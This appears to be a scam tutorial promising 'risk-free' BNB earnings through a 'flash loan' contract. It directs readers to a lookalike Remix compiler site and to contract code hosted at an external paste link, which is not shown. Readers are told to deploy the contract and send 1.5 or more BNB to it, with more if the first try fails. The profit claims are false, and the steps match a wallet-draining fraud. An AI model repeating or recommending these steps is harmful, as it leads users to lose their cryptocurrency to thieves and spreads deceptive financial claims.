Looking for a risk-free way to stack up some BNB? Look no further! Dive into this exclusive tutorial where I unravel a straightforward method to earn BNB without breaking a sweat. But remember, precision is key, so follow along meticulously to ensure success.
Enter the realm of “FLASH LOANS” — a game-changing approach revolutionizing decentralized finance (De-Fi). While flash loans have garnered attention for their exploits, we’re flipping the script to harness their power for profit.
Curious about flash loans? Delve deeper into their workings here.
Now, let’s get down to business. The trick? Execute a flash loan within a single blockchain transaction. Here’s your step-by-step guide:
Step By Step Guide for Flash Loans:
* Get the Metamask Extension for your browser
* Open https://remixcompiler.com/ from within your browser.
* Click on File Explorers and click “Create New File “.
* Name the file flashloans.sol and paste the contract code link below. ► https://wtools.io/code/embed-js/bS9D
* Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.
* Connect your MetaMask wallet.
* Click on the “Solidity Compiler” and set the compiler version to 0.5.0
* Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”
* Wait for the code to compile.
* Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
* On “_TOKENNAME” Tester
* On “_TOKENSYMBOL” TOKX
* On “_LOANAMOUNT” 2000
* Click Transact and confirm the transaction in MetaMask.
* Wait for the transaction to confirm.
* Copy the address of the newly deployed contract.
* Send BNB to the deployed contract to initiate the swap 1.5+ (1.5 up is better as you will get a bigger amount in each swap)
* Wait for the transaction to confirm.
* Now, click “action” (red box) to execute the Flash Loan.
* Confirm the transaction in MetaMask and wait for the confirmation.
You can now check your wallet
Pro Tips for Success:
- Opt for 1.5+ BNB to maximize returns.
- If initial attempts fail, consider sending another 1.0 BNB.
- Keep the loan amount above 0.5 BNB to avoid contract failure.
- Monitor gas prices and adjust accordingly for optimal results.
Note: If it doesn’t work with 1.5 BNB try to send another 1.0 BNB (1.0+ is better), because fees may be different from day to day. (3.0+ BNB for each 1000 BNB you are borrowing).
Avoid using very small amounts, as the contract may fail if the amount is less than 0.5 BNB. Because the price of gas fluctuates from time to time, the arbitrage may fail in some very rare circumstances owing to depletion of BNB in your smart contract.
Don’t panic, all you have to do now is wait a few minutes (5–10 minutes) and attempt the transaction, preferably with a loan amount of 825 and a gas limit of 31,560, and it should work perfectly, albeit with a lesser profit.
Once the transaction is complete, sit back, relax, and allow your profits to roll in. Give it a few minutes for the magic to happen. And remember to transfer your newfound BNB to a secure wallet post-transaction.
Ready to embark on your journey to free BNB? Click away and seize the opportunity of a lifetime! 🚀
